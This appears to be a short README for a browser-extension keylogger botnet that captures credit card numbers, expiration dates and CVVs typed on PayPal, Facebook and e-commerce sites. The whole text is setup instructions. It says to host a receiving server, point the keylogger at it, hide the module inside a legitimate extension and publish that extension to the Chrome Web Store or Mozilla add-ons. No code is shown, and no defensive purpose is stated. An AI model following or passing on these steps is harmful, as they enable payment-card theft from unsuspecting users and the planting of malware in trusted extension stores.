botnet browser chrome,mozilla firefox,capture card number any web site ,paypal,facebook,e-commerce ,get card number,expiration date, CVV
-web server for exemple hosgator, or free hosting (00webhost ) or wampserver or xhampp ... to test your extension
-publish your extension in chrome web store or adon mozilla ( video can found here http://bit.ly/2HnfniO )
- open keylog
change http://1127.0.0.1 to your web server
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send folder named " server " to your web server , test with wampserver or xhampp ......etc
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take a legitimate extension then add your keylogger module, if you have questions how does it work ask me in comment or you can see this video http://bit.ly/2WQ8UCm
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publish your extension one chrome web store or adon mozilla